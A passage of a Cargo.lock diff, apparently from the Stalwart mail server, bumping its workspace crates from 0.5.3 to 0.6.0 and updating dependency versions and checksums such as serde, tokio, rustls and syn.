"06f19e4cfa0ab5a76b627cec2d81331c49b034988eaf302c3bafeada684eadef" dependencies = [ - "base64 0.21.5", + "base64 0.21.7", "bigdecimal", - "bindgen 0.69.1", - "bitflags 2.4.1", + "bindgen 0.69.4", + "bitflags 2.4.2", "bitvec", "btoi", "byteorder", @@ -3422,9 +3429,9 @@ dependencies = [ [[package]] name = "nlp" -version = "0.5.3" +version = "0.6.0" dependencies = [ - "ahash 0.8.7", + "ahash 0.8.8", "bincode", "farmhash", "jieba-rs", @@ -3498,20 +3505,25 @@ dependencies = [ ] [[package]] +name = "num-conv" +version = "0.1.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "51d515d32fb182ee37cda2ccdcb92950d6a3c2893aa280e540671c2cd0f3b1d9" + +[[package]] name = "num-integer" -version = "0.1.45" +version = "0.1.46" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "225d3389fb3509a24c93f5c29eb6bde2586b98d9f016636dff58d7c6f7569cd9" +checksum = "7969661fd2958a5cb096e56c8e1ad0444ac2bbcd0061bd28660485a44879858f" dependencies = [ - "autocfg", "num-traits", ] [[package]] name = "num-iter" -version = "0.1.43" +version = "0.1.44" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "7d03e6c028c5dc5cac6e2dec0efda81fc887605bb3d884578bb6d6bf7514e252" +checksum = "d869c01cc0c455284163fd0092f1f93835385ccab5a98a0dcc497b2f8bf055a9" dependencies = [ "autocfg", "num-integer", @@ -3520,9 +3532,9 @@ dependencies = [ [[package]] name = "num-traits" -version = "0.2.17" +version = "0.2.18" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "39e3200413f237f41ab11ad6d161bc7239c84dcb631773ccd7de3dfe4b5c267c" +checksum = "da0df0e5185db44f69b44f26786fe401b6c293d1907744beaa7fa62b2e5a517a" dependencies = [ "autocfg", "libm", @@ -3576,11 +3588,11 @@ checksum = "624a8340c38c1b80fd549087862da4ba43e08858af025b236e509b6649fc13d5" [[package]] name = "openssl" -version = "0.10.62" +version = "0.10.63" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "8cde4d2d9200ad5909f8dac647e29482e07c3a35de8a13fce7c9c7747ad9f671" +checksum = "15c9d69dd87a29568d4d017cfe8ec518706046a05184e5aea92d0af890b803c8" dependencies = [ - "bitflags 2.4.1", + "bitflags 2.4.2", "cfg-if", "foreign-types", "libc", @@ -3597,7 +3609,7 @@ checksum = "a948666b637a0f465e8564c73e89d4dde00d72d4d473cc972f390fc3dcee7d9c" dependencies = [ "proc-macro2", "quote", - "syn 2.0.47", + "syn 2.0.48", ] [[package]] @@ -3608,18 +3620,18 @@ checksum = "ff011a302c396a5197692431fc1948019154afc178baf7d8e37367442a4601cf" [[package]] name = "openssl-src" -version = "300.2.1+3.2.0" +version = "300.2.3+3.2.1" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "3fe476c29791a5ca0d1273c697e96085bbabbbea2ef7afd5617e78a4b40332d3" +checksum = "5cff92b6f71555b61bb9315f7c64da3ca43d87531622120fea0195fc761b4843" dependencies = [ "cc", ] [[package]] name = "openssl-sys" -version = "0.9.98" +version = "0.9.99" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "c1665caf8ab2dc9aef43d1c0023bd904633a6a05cb30b0ad59bec2ae986e57a7" +checksum = "22e1bf214306098e4832460f797824c05d25aacdf896f64a985fb0fd992454ae" dependencies = [ "cc", "libc", @@ -3636,7 +3648,7 @@ checksum = "1e32339a5dc40459130b3bd269e9892439f55b33e772d2a9d402a789baaf4e8a" dependencies = [ "futures-core", "futures-sink", - "indexmap 2.1.0", + "indexmap 2.2.3", "js-sys", "once_cell", "pin-project-lite", @@ -3701,9 +3713,9 @@ dependencies = [ [[package]] name = "opentelemetry_sdk" -version = "0.21.1" +version = "0.21.2" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "968ba3f2ca03e90e5187f5e4f46c791ef7f2c163ae87789c8ce5f5ca3b7b7de5" +checksum = "2f16aec8a98a457a52664d69e0091bac3a0abd18ead9b641cb00202ba4e0efe4" dependencies = [ "async-trait", "crossbeam-channel", @@ -3839,7 +3851,7 @@ version = "3.0.3" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "1b8fcc794035347fb64beda2d3b462595dd2753e3f268d89c5aae77e8cf2c310" dependencies = [ - "base64 0.21.5", + "base64 0.21.7", "serde", ] @@ -3865,7 +3877,7 @@ source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "e1d3afd2628e69da2be385eb6f2fd57c8ac7977ceeff6dc166ff1657b0e386a9" dependencies = [ "fixedbitset", - "indexmap 2.1.0", + "indexmap 2.2.3", ] [[package]] @@ -3908,7 +3920,7 @@ dependencies = [ "phf_shared 0.11.2", "proc-macro2", "quote", - "syn 2.0.47", + "syn 2.0.48", ] [[package]] @@ -3931,22 +3943,22 @@ dependencies = [ [[package]] name = "pin-project" -version = "1.1.3" +version = "1.1.4" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "fda4ed1c6c173e3fc7a83629421152e01d7b1f9b7f65fb301e490e8cfc656422" +checksum = "0302c4a0442c456bd56f841aee5c3bfd17967563f6fadc9ceb9f9c23cf3807e0" dependencies = [ "pin-project-internal", ] [[package]] name = "pin-project-internal" -version = "1.1.3" +version = "1.1.4" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "4359fd9c9171ec6e8c62926d6faaf553a8dc3f64e1507e76da7911b4f6a04405" +checksum = "266c042b60c9c76b8d53061e52b2e0d1116abc57cefc8c5cd671619a56ac3690" dependencies = [ "proc-macro2", "quote", - "syn 2.0.47", + "syn 2.0.48", ] [[package]] @@ -3984,9 +3996,9 @@ dependencies = [ [[package]] name = "pkg-config" -version = "0.3.28" +version = "0.3.29" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "69d3587f8a9e599cc7ec2c00e331f71c4e69a5f9a4b8a6efd5b07466b9736f9a" +checksum = "2900ede94e305130c13ddd391e0ab7cbaeb783945ae07a279c268cb05109c6cb" [[package]] name = "platforms" @@ -4018,7 +4030,7 @@ version = "0.6.6" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "49b6c5ef183cd3ab4ba005f1ca64c21e8bd97ce4699cfea9e8d9a2c4958ca520" dependencies = [ - "base64 0.21.5", + "base64 0.21.7", "byteorder", "bytes", "fallible-iterator 0.2.0", @@ -4066,7 +4078,7 @@ source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "a41cf62165e97c7f814d2221421dbb9afcbcdb0a88068e5ea206e19951c2cbb5" dependencies = [ "proc-macro2", - "syn 2.0.47", + "syn 2.0.48", ] [[package]] @@ -4114,11 +4126,11 @@ dependencies = [ [[package]] name = "proc-macro-crate" -version = "2.0.0" +version = "3.1.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "7e8366a6159044a37876a2b9817124296703c586a5c92e2c53751fa06d8d43e8" +checksum = "6d37c51ca738a55da99dc0c4a34860fd675453b8b36209178c2249bb13651284" dependencies = [ - "toml_edit 0.20.7", + "toml_edit 0.21.1", ] [[package]] @@ -4147,9 +4159,9 @@ dependencies = [ [[package]] name = "proc-macro2" -version = "1.0.75" +version = "1.0.78" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "907a61bd0f64c2f29cd1cf1dc34d05176426a3f504a78010f08416ddb7b13708" +checksum = "e2422ad645d89c99f8f3e6b88a9fdeca7fabeac836b1002371c4367c8f984aae" dependencies = [ "unicode-ident", ] @@ -4171,7 +4183,7 @@ source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "e5d2d8d10f3c6ded6da8b05b5fb3b8a5082514344d56c9f871412d29b4e075b4" dependencies = [ "anyhow", - "itertools", + "itertools 0.10.5", "proc-macro2", "quote", "syn 1.0.109", @@ -4342,7 +4354,7 @@ source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "48d1fd02e16232e942b5e7ce305b447c550d09a9146255a3e8a2cf62a0e2ac2d" dependencies = [ "either", - "itertools", + "itertools 0.10.5", "proc-macro2", "quote", "rayon", @@ -4361,9 +4373,9 @@ dependencies = [ [[package]] name = "rayon" -version = "1.8.0" +version = "1.8.1" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "9c27db03db7734835b3f53954b534c91069375ce6ccaa2e065441e07d9b6cdb1" +checksum = "fa7237101a77a10773db45d62004a272517633fbcc3df19d96455ede1122e051" dependencies = [ "either", "rayon-core", @@ -4371,9 +4383,9 @@ dependencies = [ [[package]] name = "rayon-core" -version = "1.12.0" +version = "1.12.1" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "5ce3fb6ad83f861aac485e76e1985cd109d9a3713802152be56c3b1f0e0658ed" +checksum = "1465873a3dfdaa8ae7cb14b4383657caab0b3e8a0aa9ae8e04b044854c8dfce2" dependencies = [ "crossbeam-deque", "crossbeam-utils", @@ -4381,9 +4393,9 @@ dependencies = [ [[package]] name = "rcgen" -version = "0.12.0" +version = "0.12.1" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "5d918c80c5a4c7560db726763020bd16db179e4d5b828078842274a443addb5d" +checksum = "48406db8ac1f3cbc7dcdb56ec355343817958a356ff430259bb07baf7607e1e1" dependencies = [ "pem", "ring 0.17.7", @@ -4444,13 +4456,13 @@ dependencies = [ [[package]] name = "regex" -version = "1.10.2" +version = "1.10.3" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "380b951a9c5e80ddfd6136919eef32310721aa4aacd4889a8d39124b026ab343" +checksum = "b62dbe01f0b06f9d8dc7d49e05a0785f153b00b2c227856282f671e0318c9b15" dependencies = [ "aho-corasick", "memchr", - "regex-automata 0.4.3", + "regex-automata 0.4.5", "regex-syntax 0.8.2", ] @@ -4465,9 +4477,9 @@ dependencies = [ [[package]] name = "regex-automata" -version = "0.4.3" +version = "0.4.5" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "5f804c7828047e88b2d32e2d7fe5a105da8ee3264f01902f796c8e067dc2483f" +checksum = "5bb987efffd3c6d0d8f5f89510bb458559eab11e4f869acb20bf845e016259cd" dependencies = [ "aho-corasick", "memchr", @@ -4494,26 +4506,26 @@ checksum = "c08c74e62047bb2de4ff487b251e4a92e24f48745648451635cec7d591162d9f" [[package]] name = "rend" -version = "0.4.1" +version = "0.4.2" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "a2571463863a6bd50c32f94402933f03457a3fbaf697a707c5be741e459f08fd" +checksum = "71fe3824f5629716b1589be05dacd749f6aa084c87e00e016714a8cdfccc997c" dependencies = [ "bytecheck", ] [[package]] name = "reqwest" -version = "0.11.23" +version = "0.11.24" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "37b1ae8d9ac08420c66222fb9096fc5de435c3c48542bc5336c51892cffafb41" +checksum = "c6920094eb85afde5e4a138be3f2de8bbdf28000f0029e72c45025a56b042251" dependencies = [ "async-compression", - "base64 0.21.5", + "base64 0.21.7", "bytes", "encoding_rs", "futures-core", "futures-util", - "h2 0.3.22", + "h2 0.3.24", "http 0.2.11", "http-body 0.4.6", "hyper 0.14.28", @@ -4531,6 +4543,7 @@ dependencies = [ "serde", "serde_json", "serde_urlencoded", + "sync_wrapper", "system-configuration", "tokio", "tokio-rustls 0.24.1", @@ -4541,7 +4554,7 @@ dependencies = [ "wasm-bindgen-futures", "wasm-streams", "web-sys", - "webpki-roots 0.25.3", + "webpki-roots 0.25.4", "winreg", ] @@ -4611,9 +4624,9 @@ dependencies = [ [[package]] name = "rkyv" -version = "0.7.43" +version = "0.7.44" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "527a97cdfef66f65998b5f3b637c26f5a5ec09cc52a3f9932313ac645f4190f5" +checksum = "5cba464629b3394fc4dbc6f940ff8f5b4ff5c7aef40f29166fd4ad12acbc99c0" dependencies = [ "bitvec", "bytecheck", @@ -4629,9 +4642,9 @@ dependencies = [ [[package]] name = "rkyv_derive" -version = "0.7.43" +version = "0.7.44" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "b5c462a1328c8e67e4d6dbad1eb0355dd43e8ab432c6e227a43657f16ade5033" +checksum = "a7dddfff8de25e6f62b9d64e6e432bf1c6736c57d20323e15ee10435fbda7c65" dependencies = [ "proc-macro2", "quote", @@ -4706,7 +4719,7 @@ version = "0.30.0" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "a78046161564f5e7cd9008aff3b2990b3850dc8e0349119b98e8f251e099f24d" dependencies = [ - "bitflags 2.4.1", + "bitflags 2.4.2", "fallible-iterator 0.3.0", "fallible-streaming-iterator", "hashlink", @@ -4768,9 +4781,9 @@ dependencies = [ [[package]] name = "rust_decimal" -version = "1.33.1" +version = "1.34.3" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "06676aec5ccb8fc1da723cc8c0f9a46549f21ebb8753d3915c6c41db1e7f1dc4" +checksum = "b39449a79f45e8da28c57c341891b69a183044b29518bb8f86dbac9df60bb7df" dependencies = [ "arrayvec", "borsh", @@ -4823,11 +4836,11 @@ dependencies = [ [[package]] name = "rustix" -version = "0.38.28" +version = "0.38.31" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "72e572a5e8ca657d7366229cdde4bd14c4eb5499a9573d4d366fe1b599daa316" +checksum = "6ea3e1a662af26cd7a3ba09c0297a31af215563ecf42817c98df621387f4e949" dependencies = [ - "bitflags 2.4.1", + "bitflags 2.4.2", "errno", "libc", "linux-raw-sys", @@ -4860,14 +4873,14 @@ dependencies = [ [[package]] name = "rustls" -version = "0.22.1" +version = "0.22.2" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "fe6b63262c9fcac8659abfaa96cac103d28166d3ff3eaf8f412e19f3ae9e5a48" +checksum = "e87c9956bd9807afa1f77e0f7594af32566e830e088a5576d27c5b6f30f49d41" dependencies = [ "log", "ring 0.17.7", "rustls-pki-types", - "rustls-webpki 0.102.1", + "rustls-webpki 0.102.2", "subtle", "zeroize", ] @@ -4890,7 +4903,7 @@ version = "1.0.4" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "1c74cae0a4cf6ccbbf5f359f08efdf8ee7e1dc532573bf0db71968cb56b1448c" dependencies = [ - "base64 0.21.5", + "base64 0.21.7", ] [[package]] @@ -4899,15 +4912,15 @@ version = "2.0.0" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "35e4980fa29e4c4b212ffb3db068a564cbf560e51d3944b7c88bd8bf5bec64f4" dependencies = [ - "base64 0.21.5", + "base64 0.21.7", "rustls-pki-types", ] [[package]] name = "rustls-pki-types" -version = "1.1.0" +version = "1.2.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "9e9d979b3ce68192e42760c7810125eb6cf2ea10efae545a156063e61f314e2a" +checksum = "0a716eb65e3158e90e17cd93d855216e27bde02745ab842f2cab4a39dba1bacf" [[package]] name = "rustls-webpki" @@ -4931,9 +4944,9 @@ dependencies = [ [[package]] name = "rustls-webpki" -version = "0.102.1" +version = "0.102.2" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "ef4ca26037c909dedb327b48c3327d0ba91d3dd3c4e05dad328f210ffb68e95b" +checksum = "faaa0a62740bedb9b2ef5afa303da42764c012f743917351dc9a237ea1663610" dependencies = [ "ring 0.17.7", "rustls-pki-types", @@ -5027,7 +5040,7 @@ checksum = "d3e97a565f76233a6003f9f5c54be1d9c5bdfa3eccfb189469f11ec4901c47dc" dependencies = [ "base16ct", "der", - "generic-array", + "generic-array 0.14.7", "pkcs8", "subtle", "zeroize", @@ -5079,14 +5092,14 @@ checksum = "388a1df253eca08550bef6c72392cfe7c30914bf41df5269b68cbd6ff8f570a3" [[package]] name = "sequoia-openpgp" -version = "1.17.0" +version = "1.18.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "2ea026cf8a70d331c742e3ad7e68fd405d0743ff86630fb4334a1bf8d0e194c7" +checksum = "26e9c71323d9848404e343a6b5c3a73de10bc496ca3481b66586ba9064de027e" dependencies = [ "aes", "aes-gcm", "anyhow", - "base64 0.21.5", + "base64 0.21.7", "block-padding", "blowfish 0.9.1", "buffered-reader", @@ -5106,7 +5119,7 @@ dependencies = [ "ed25519-dalek", "getrandom", "idea", - "idna 0.4.0", + "idna 0.5.0", "lalrpop", "lalrpop-util", "lazy_static", @@ -5133,9 +5146,9 @@ dependencies = [ [[package]] name = "serde" -version = "1.0.194" +version = "1.0.196" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "0b114498256798c94a0689e1a15fec6005dee8ac1f41de56404b67afc2a4b773" +checksum = "870026e60fa08c69f064aa766c10f10b1d62db9ccd4d0abb206472bee0ce3b32" dependencies = [ "serde_derive", ] @@ -5151,20 +5164,20 @@ dependencies = [ [[package]] name = "serde_derive" -version = "1.0.194" +version = "1.0.196" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "a3385e45322e8f9931410f01b3031ec534c3947d0e94c18049af4d9f9907d4e0" +checksum = "33c85360c95e7d137454dc81d9a4ed2b8efd8fbe19cee57357b32b9771fccb67" dependencies = [ "proc-macro2", "quote", - "syn 2.0.47", + "syn 2.0.48", ] [[package]] name = "serde_json" -version = "1.0.110" +version = "1.0.113" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "6fbd975230bada99c8bb618e0c365c2eefa219158d5c6c29610fd09ff1833257" +checksum = "69801b70b1c3dac963ecb03a364ba0ceda9cf60c71cfe475e99864759c8b8a79" dependencies = [ "itoa", "ryu", @@ -5227,7 +5240,7 @@ checksum = "91d129178576168c589c9ec973feedf7d3126c01ac2bf08795109aa35b69fb8f" dependencies = [ "proc-macro2", "quote", - "syn 2.0.47", + "syn 2.0.48", ] [[package]] @@ -5262,13 +5275,13 @@ checksum = "ae1a47186c03a32177042e55dbc5fd5aee900b8e0069a8d70fba96a9375cd012" [[package]] name = "sha1collisiondetection" -version = "0.3.2" +version = "0.3.3" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "31c0b86a052106b16741199985c9ec2bf501f619f70c48fa479b44b093ad9a68" +checksum = "f1d5c4be690002e8a5d7638b0b7323f03c268c7a919bd8af69ce963a4dc83220" dependencies = [ "const-oid", "digest 0.10.7", - "generic-array", + "generic-array 1.0.0", ] [[package]] @@ -5312,9 +5325,9 @@ checksum = "24188a676b6ae68c3b2cb3a01be17fbf7240ce009799bb56d5b1409051e78fde" [[package]] name = "shlex" -version = "1.2.0" +version = "1.3.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "a7cee0529a6d40f580e7a5e6c495c8fbfe21b7b52795ed4bb5e62cdf92bc6380" +checksum = "0fda2ff0d084019ba4d7c6f371c95d8fd75ce3524c3cb8fb653a3023f6323e64" [[package]] name = "sieve-rs" @@ -5322,7 +5335,7 @@ version = "0.4.0" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "25494c13da6c336430906aa783e4bb2ae251c84158d6e5a4fdf0449a779c2521" dependencies = [ - "ahash 0.8.7", + "ahash 0.8.8", "bincode", "fancy-regex", "mail-builder", @@ -5379,15 +5392,15 @@ dependencies = [ [[package]] name = "smallvec" -version = "1.11.2" +version = "1.13.1" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "4dccd0940a2dcdf68d092b8cbab7dc0ad8fa938bf95787e1b916b0e3d0e8e970" +checksum = "e6ecd384b10a64542d77071bd64bd7b231f4ed5940fba55e98c3de13824cf3d7" [[package]] name = "smtp" -version = "0.5.3" +version = "0.6.0" dependencies = [ - "ahash 0.8.7", + "ahash 0.8.8", "bincode", "blake3", "dashmap", @@ -5414,7 +5427,7 @@ dependencies = [ "rayon", "regex", "reqwest", - "rustls 0.22.1", + "rustls 0.22.2", "rustls-pemfile 2.0.0", "rustls-pki-types", "serde", @@ -5429,16 +5442,19 @@ dependencies = [ "tracing", "unicode-security", "utils", - "webpki-roots 0.26.0", + "webpki-roots 0.26.1", "whatlang", "x509-parser", ] [[package]] name = "smtp-proto" -version = "0.1.3" +version = "0.1.4" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "20b37ae016fedcac2174dd0e3029870154830a4d3fb10f533317f2604e72b343" +checksum = "34344dcc7dd10b3de9224fd68e5f019fff2246d9cdf8e4322f770f48030e0c83" +dependencies = [ + "serde", +] [[package]] name = "snafu" @@ -5507,7 +5523,7 @@ dependencies = [ [[package]] name = "stalwart-cli" -version = "0.5.3" +version = "0.6.0" dependencies = [ "clap", "console", @@ -5531,9 +5547,9 @@ dependencies = [ [[package]] name = "stalwart-install" -version = "0.5.3" +version = "0.6.0" dependencies = [ - "base64 0.21.5", + "base64 0.21.7", "clap", "dialoguer", "flate2", @@ -5559,8 +5575,10 @@ checksum = "a2eb9349b6444b326872e140eb1cf5e7c522154d69e7a0ffb0fb81c06b37543f" name = "store" version = "0.1.0" dependencies = [ - "ahash 0.8.7", + "ahash 0.8.8", + "arc-swap", "async-trait", + "bincode", "blake3", "bytes", "deadpool", @@ -5588,7 +5606,7 @@ dependencies = [ "rocksdb", "rusqlite", "rust-s3", - "rustls 0.22.1", + "rustls 0.22.2", "rustls-pki-types", "serde", "serde_json", @@ -5631,6 +5649,12 @@ source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "73473c0e59e6d5812c5dfe2a064a6444949f089e20eec9a2e5506596494e4623" [[package]] +name = "strsim" +version = "0.11.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5ee073c9e4cd00e28217186dbe12796d692868f432bf2e97ee73bed0c56dfa01" + +[[package]] name = "subprocess" version = "0.2.9" source = "registry+https://github.com/rust-lang/crates.io-index" @@ -5659,9 +5683,9 @@ dependencies = [ [[package]] name = "syn" -version = "2.0.47" +version = "2.0.48" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "1726efe18f42ae774cc644f330953a5e7b3c3003d3edcecf18850fe9d4dd9afb" +checksum = "0f3531638e407dfc0814761abb7c00a5b54992b849452a0646b7f65c9f770f3f" dependencies = [ "proc-macro2", "quote", @@ -5677,7 +5701,7 @@ dependencies = [ "proc-macro-error", "proc-macro2", "quote", - "syn 2.0.47", + "syn 2.0.48", ] [[package]] @@ -5738,13 +5762,12 @@ dependencies = [ [[package]] name = "tempfile" -version = "3.9.0" +version = "3.10.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "01ce4141aa927a6d1bd34a041795abd0db1cccba5d5f24b009f694bdf3a1f3fa" +checksum = "a365e8cd18e44762ef95d87f284f4b5cd04107fec2ff3052bd6a3e6069669e67" dependencies = [ "cfg-if", "fastrand", - "redox_syscall", "rustix", "windows-sys 0.52.0", ] @@ -5762,9 +5785,9 @@ dependencies = [ [[package]] name = "termcolor" -version = "1.4.0" +version = "1.4.1" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "ff1bc3d3f05aff0403e8ac0d92ced918ec05b666a43f83297ccef5bea8a3d449" +checksum = "06794f8f6c5c898b3275aebefa6b8a1cb24cd2c6c79397ab15774837a0bc5755" dependencies = [ "winapi-util", ] @@ -5773,9 +5796,9 @@ dependencies = [ name = "tests" version = "0.1.0" dependencies = [ - "ahash 0.8.7", + "ahash 0.8.8", "async-trait", - "base64 0.21.5", + "base64 0.21.7", "bytes", "chrono", "csv", @@ -5801,7 +5824,7 @@ dependencies = [ "num_cpus", "rayon", "reqwest", - "rustls 0.22.1", + "rustls 0.22.2", "rustls-pemfile 2.0.0", "rustls-pki-types", "serde", @@ -5820,22 +5843,22 @@ dependencies = [ [[package]] name = "thiserror" -version = "1.0.56" +version = "1.0.57" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "d54378c645627613241d077a3a79db965db602882668f9136ac42af9ecb730ad" +checksum = "1e45bcbe8ed29775f228095caf2cd67af7a4ccf756ebff23a306bf3e8b47b24b" dependencies = [ "thiserror-impl", ] [[package]] name = "thiserror-impl" -version = "1.0.56" +version = "1.0.57" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "fa0faa943b50f3db30a20aa7e265dbc66076993efed8463e8de414e5d06d3471" +checksum = "a953cb265bef375dae3de6663da4d3804eee9682ea80d8e2542529b73c531c81" dependencies = [ "proc-macro2", "quote", - "syn 2.0.47", + "syn 2.0.48", ] [[package]] @@ -5850,12 +5873,13 @@ dependencies = [ [[package]] name = "time" -version = "0.3.31" +version = "0.3.34" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "f657ba42c3f86e7680e53c8cd3af8abbe56b5491790b46e22e19c0d57463583e" +checksum = "c8248b6521bb14bc45b4067159b9b6ad792e2d6d754d6c41fb50e29fefe38749" dependencies = [ "deranged", "itoa", + "num-conv", "powerfmt", "serde", "time-core", @@ -5870,10 +5894,11 @@ checksum = "ef927ca75afb808a4d64dd374f00a2adf8d0fcff8e7b184af886c3c87ec4a3f3" [[package]] name = "time-macros" -version = "0.2.16" +version = "0.2.17" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "26197e33420244aeb70c3e8c78376ca46571bc4e701e4791c2cd9f57dcb3a43f" +checksum = "7ba3a3ef41e6672a2f0f001392bb5dcd3ff0a9992d618ca761a11c3121547774" dependencies = [ + "num-conv", "time-core", ] @@ -5913,9 +5938,9 @@ checksum = "1f3ccbac311fea05f86f61904b462b55fb3df8837a366dfc601a0161d0532f20" [[package]] name = "tokio" -version = "1.35.1" +version = "1.36.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "c89b4efa943be685f629b149f53829423f8f5531ea21249408e8e2f8671ec104" +checksum = "61285f6515fa018fb2d1e46eb21223fff441ee8db5d0f1435e8ab4f5cdb80931" dependencies = [ "backtrace", "bytes", @@ -5948,7 +5973,7 @@ checksum = "5b8a1e28f2deaa14e508979454cb3a223b10b938b45af148bc0986de36f1923b" dependencies = [ "proc-macro2", "quote", - "syn 2.0.47", + "syn 2.0.48", ] [[package]] @@ -5993,7 +6018,7 @@ version = "0.25.0" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "775e0c0f0adb3a2f22a00c4745d728b479985fc15ee7ca6a2608388c5569860f" dependencies = [ - "rustls 0.22.1", + "rustls 0.22.2", "rustls-pki-types", "tokio", ] @@ -6017,12 +6042,12 @@ checksum = "c83b561d025642014097b66e6c1bb422783339e0909e4429cde4749d1990bc38" dependencies = [ "futures-util", "log", - "rustls 0.22.1", + "rustls 0.22.2", "rustls-pki-types", "tokio", "tokio-rustls 0.25.0", "tungstenite", - "webpki-roots 0.26.0", + "webpki-roots 0.26.1", ] [[package]] @@ -6051,18 +6076,18 @@ version = "0.19.15" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "1b5bb770da30e5cbfde35a2d7b9b8a2c4b8ef89548a7a6aeab5c9a576e3e7421" dependencies = [ - "indexmap 2.1.0", + "indexmap 2.2.3", "toml_datetime", "winnow", ] [[package]] name = "toml_edit" -version = "0.20.7" +version = "0.21.1" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "70f427fce4d84c72b5b732388bf4a9f4531b53f74e2887e3ecb2481f68f66d81" +checksum = "6a8534fd7f78b5405e860340ad6575217ce99f38d4d5c8f2442cb5ecb50090e1" dependencies = [ - "indexmap 2.1.0", + "indexmap 2.2.3", "toml_datetime", "winnow", ] @@ -6075,11 +6100,11 @@ checksum = "3082666a3a6433f7f511c7192923fa1fe07c69332d3c6a2e6bb040b569199d5a" dependencies = [ "async-trait", "axum", - "base64 0.21.5", + "base64 0.21.7", "bytes", "futures-core", "futures-util", - "h2 0.3.22", + "h2 0.3.24", "http 0.2.11", "http-body 0.4.6", "hyper 0.14.28", @@ -6158,7 +6183,7 @@ checksum = "34704c8d6ebcbc939824180af020566b01a7c01f80641264eba0999f6c2b6be7" dependencies = [ "proc-macro2", "quote", - "syn 2.0.47", + "syn 2.0.48", ] [[package]] @@ -6254,7 +6279,7 @@ dependencies = [ "httparse", "log", "rand", - "rustls 0.22.1", + "rustls 0.22.2", "rustls-pki-types", "sha1", "thiserror", @@ -6290,9 +6315,9 @@ checksum = "42ff0bf0c66b8238c6f3b578df37d0b7848e55df8577b3f74f92a69acceeb825" [[package]] name = "typewit" -version = "1.8.0" +version = "1.9.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "6779a69cc5f9a7388274a0a8a353eb1c9e45195f9ae74a26690b055a7cf9592a" +checksum = "c6fb9ae6a3cafaf0a5d14c2302ca525f9ae8e07a0f0e6949de88d882c37a6e24" dependencies = [ "typewit_proc_macros", ] @@ -6314,9 +6339,9 @@ dependencies = [ [[package]] name = "unicode-bidi" -version = "0.3.14" +version = "0.3.15" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "6f2528f27a9eb2b21e69c95319b30bd0efd85d09c379741b0f78ea1d86be2416" +checksum = "08f95100a766bf4f8f28f90d77e0a5461bbdb219042e7679bebe79004fed8d75" [[package]] name = "unicode-ident" @@ -6341,9 +6366,9 @@ checksum = "7d817255e1bed6dfd4ca47258685d14d2bdcfbc64fdc9e3819bd5848057b8ecc" [[package]] name = "unicode-security" -version = "0.1.0" +version = "0.1.1" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "9ef5756b3097992b934b06608c69f48448a0fbe804bb1e72b982f6d7983e9e63" +checksum = "ee9e13753df674873f3c4693b240ae5c03245ddc157dfccf7c26db9329af3a11" dependencies = [ "unicode-normalization", "unicode-script", @@ -6414,11 +6439,12 @@ checksum = "711b9620af191e0cdc7468a8d14e709c3dcdb115b36f838e601583af800a370a" [[package]] name = "utils" -version = "0.5.3" +version = "0.6.0" dependencies = [ - "ahash 0.8.7", + "ahash 0.8.8", "arc-swap", - "base64 0.21.5", + "base64 0.21.7", + "blake3", "chrono", "dashmap", "futures", @@ -6434,9 +6460,10 @@ dependencies = [ "proxy-header", "rand", "rcgen", + "regex", "reqwest", "ring 0.17.7", - "rustls 0.22.1", + "rustls 